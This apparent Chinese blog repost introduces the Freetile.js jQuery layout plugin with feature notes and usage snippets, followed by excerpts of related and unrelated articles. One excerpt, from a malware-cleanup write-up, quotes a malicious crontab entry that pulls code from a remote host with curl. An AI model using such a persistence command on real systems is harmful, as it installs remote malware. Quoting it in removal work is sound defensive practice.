在线演示

我们曾经介绍过俩款知名的响应式布局插:isotopemasonary,今天我们这里再介绍一款相当不错的响应式布局插件 – Freetile.js,使用它同样可以生成超酷的动态布局效果。相信大家一定会喜欢!

主要特性

Freetie来自于Assemblage和 Assemblage Plus的内建布局引擎,设计灵感来自于Masonry,VGrid和Wookmark,但是和他们相比较,拥有以下独特的地方:

  • 允许包含任何尺寸的元素,并且不要求一个固定的列宽度,因此你不需要指定列宽度来迎合你的元素大小
  • 内建算法允许你很容易的自定义插入的位置,满足不同喜好的展示方式。例如,向左或者向右对齐,或者接近特定元素。
  • 智能的动画方式能够很好的判断是否需要动画特效。例如,刚加入的元素和不可见的元素。
  • 只要使用Assemblage 和 Assemblage Plus模板的网站都在使用它,所以说非常稳定。

如何使用

基本使用方式:

  1. $('#container').freetile();

启用动画特效:

  1. $('#container').freetile({ animate: true, elementDelay: 30 });

指定一个自定义的元素选择器:

  1. $('#container').freetile({ selector: '.thumbs' });

是不是很简答,希望大家喜欢这个插件,如果你有任何问题,请给我们留言!

来源:另外一款超棒的响应式布局jQuery插件 – Freetile.js

另外一款超棒的响应式布局jQuery插件 – Freetile.js的更多相关文章

  1. [转]响应式表格jQuery插件 – Responsive tables

    本文转自:http://www.shejidaren.com/responsive-tables-for-bootstrap-3.html 这个Responsive tables jQuery插件依赖 ...

  2. FooTable高级的响应式表格jQuery插件

    FooTable是一个高级jQuery插件,允许开发者在触屏智能手机及平板电脑等小型设备上制作数据非常惊人的HTML表格.它可以将HTML表转换成可扩展的响应式表格,且通过单击某一行即可将该行数据隐藏 ...

  3. 超棒的响应式设计测试书签和工具(bookmarks)(转)

    一.测试书签(bookmarks) Viewport Resizer 这个书签号称拥有158个国家3万多活跃的用户,主要特性: 完全自定制 方便的添加自定义尺寸 手动的横竖屏切换 自动的横竖屏切换 ( ...

  4. 分享29个超赞的响应式Web设计

    原文自:http://www.csdn.net/article/2013-01-16/2813678-responsive-design-websites 最近几年,响应式Web设计不断印入人们眼帘, ...

  5. HTML5 respond.js 解决IE6~8的响应式布局问题

    HTML5 respond.js 解决IE6~8的响应式布局问题   响 应式布局,理想状态是,对PC/移动各种终端进行响应.媒体查询的支持程度是IE9+以及其他现代的浏览器,但是IE8在市场当中仍然 ...

  6. web前端学习(二)html学习笔记部分(9)-- 响应式布局

    1.2.23  响应式布局基础 1.2.23.1  响应式布局介绍 1.响应式布局是2010年5月份提出的一个概念,简而言之,就是一个网站能够兼容多终端 -- 而不是为每个终端做一个特定的版本.这个概 ...

  7. 分享22款响应式的 jQuery 图片滑块插件

    响应式(Responsive)设计的目标是要让产品界面能够响应用户的行为,根据不同终端设备自动调整尺寸,带给用户良好的使用体验.这篇文章收集了22款优秀的响应式 jQuery 幻灯片插件,它们能够帮助 ...

  8. 15款帮助你实现响应式导航的 jQuery 插件

    对于我们大多数人来说,建立一个负责任的布局中最困难的方面是规划和导航的实现.由于没有真正经得起考验的通用解决方案,您可以使用的菜单设计风格将取决于正在建设的网站类型. 无论你正在建设什么类型的网站,在 ...

  9. 12款响应式的 jQuery 旋转木马(传送带)插件

    在企业网站,作品集网站,电子商务网站或任何其他类型的网站内容显示图片可以使用 jQuery 旋转木马(传送带)插件来实现. jQuery 旋转木马插件允许开发人员以水平或垂直的方式显示内容,视频和图像 ...

随机推荐

  1. windows平台安装redis服务

    有时候我们需要在windows平台上使用redis作为缓存服务,这个时候就需要将redis安装为window服务. 现在将我安装过程记录下来,方便自己或者有类似需求的同学参考.主要是参考网上现有的例子 ...

  2. PLSQL_Oracle基本概念总结(汇总)

    2014-08-16 Created By BaoXinjian

  3. C 标准IO 库函数与Unbuffered IO函数

    先来看看C标准I/O库函数是如何用系统调用实现的. fopen(3) 调用open(2)打开指定的文件,返回一个文件描述符(就是一个int 类型的编号),分配一 个FILE 结构体, 通常里面包含了: ...

  4. Note for video Machine Learning and Data Mining——training vs Testing

    Here is the note for lecture five. There will be several points  1. Training and Testing  Both of th ...

  5. 统计svn 代码提交情况

    统计svn代码提交,使用工具 statsvn.jar 下载地址:http://sourceforge.net/projects/statsvn/ rem 声明一个时间变量 作为文件名 %time:~, ...

  6. RUBY Error: Please update your PATH to include build tools or download the DevKit

    出错的原因是安装XXXXX的时候,需要build tools,但系统中没有.出错信息中同时也给出了解决的法案: 1. 到 http://rubyinstaller.org/downloads/ 去下载 ...

  7. Android开发11——手机横屏和竖屏与android:configChanges

    目前大多数手机都支持重力感应随之而来的就是屏幕方向改变的问题.对应普通开发者来说屏幕的随意改变也会带来困扰.在Google自带的doc里可以看到,如果设备的配置(Resources.Configura ...

  8. ps减去图层混合模式

    ps减去图层混合模式 CMYK 1.1.青色作为基色,品红作为混合色(减去混合模式) 红反即青色(绿色+蓝色) - 绿反即品红色(红色+蓝色)= 绿色   公式简化: 绿色 + 蓝色 - 红色 - 蓝 ...

  9. php获取某年某月的天数

    function days_in_month($month, $year) { // calculate number of days in a month return $month == 2 ? ...

  10. 查杀病毒实战----------------》ddg.223 and AnXQV

    htop 发现导常: 接着发现可疑进程: 首先检测crontab,发现问题: # crontab -l */ * * * * curl -fsSL http://www.bdyutiudwj.com/ ...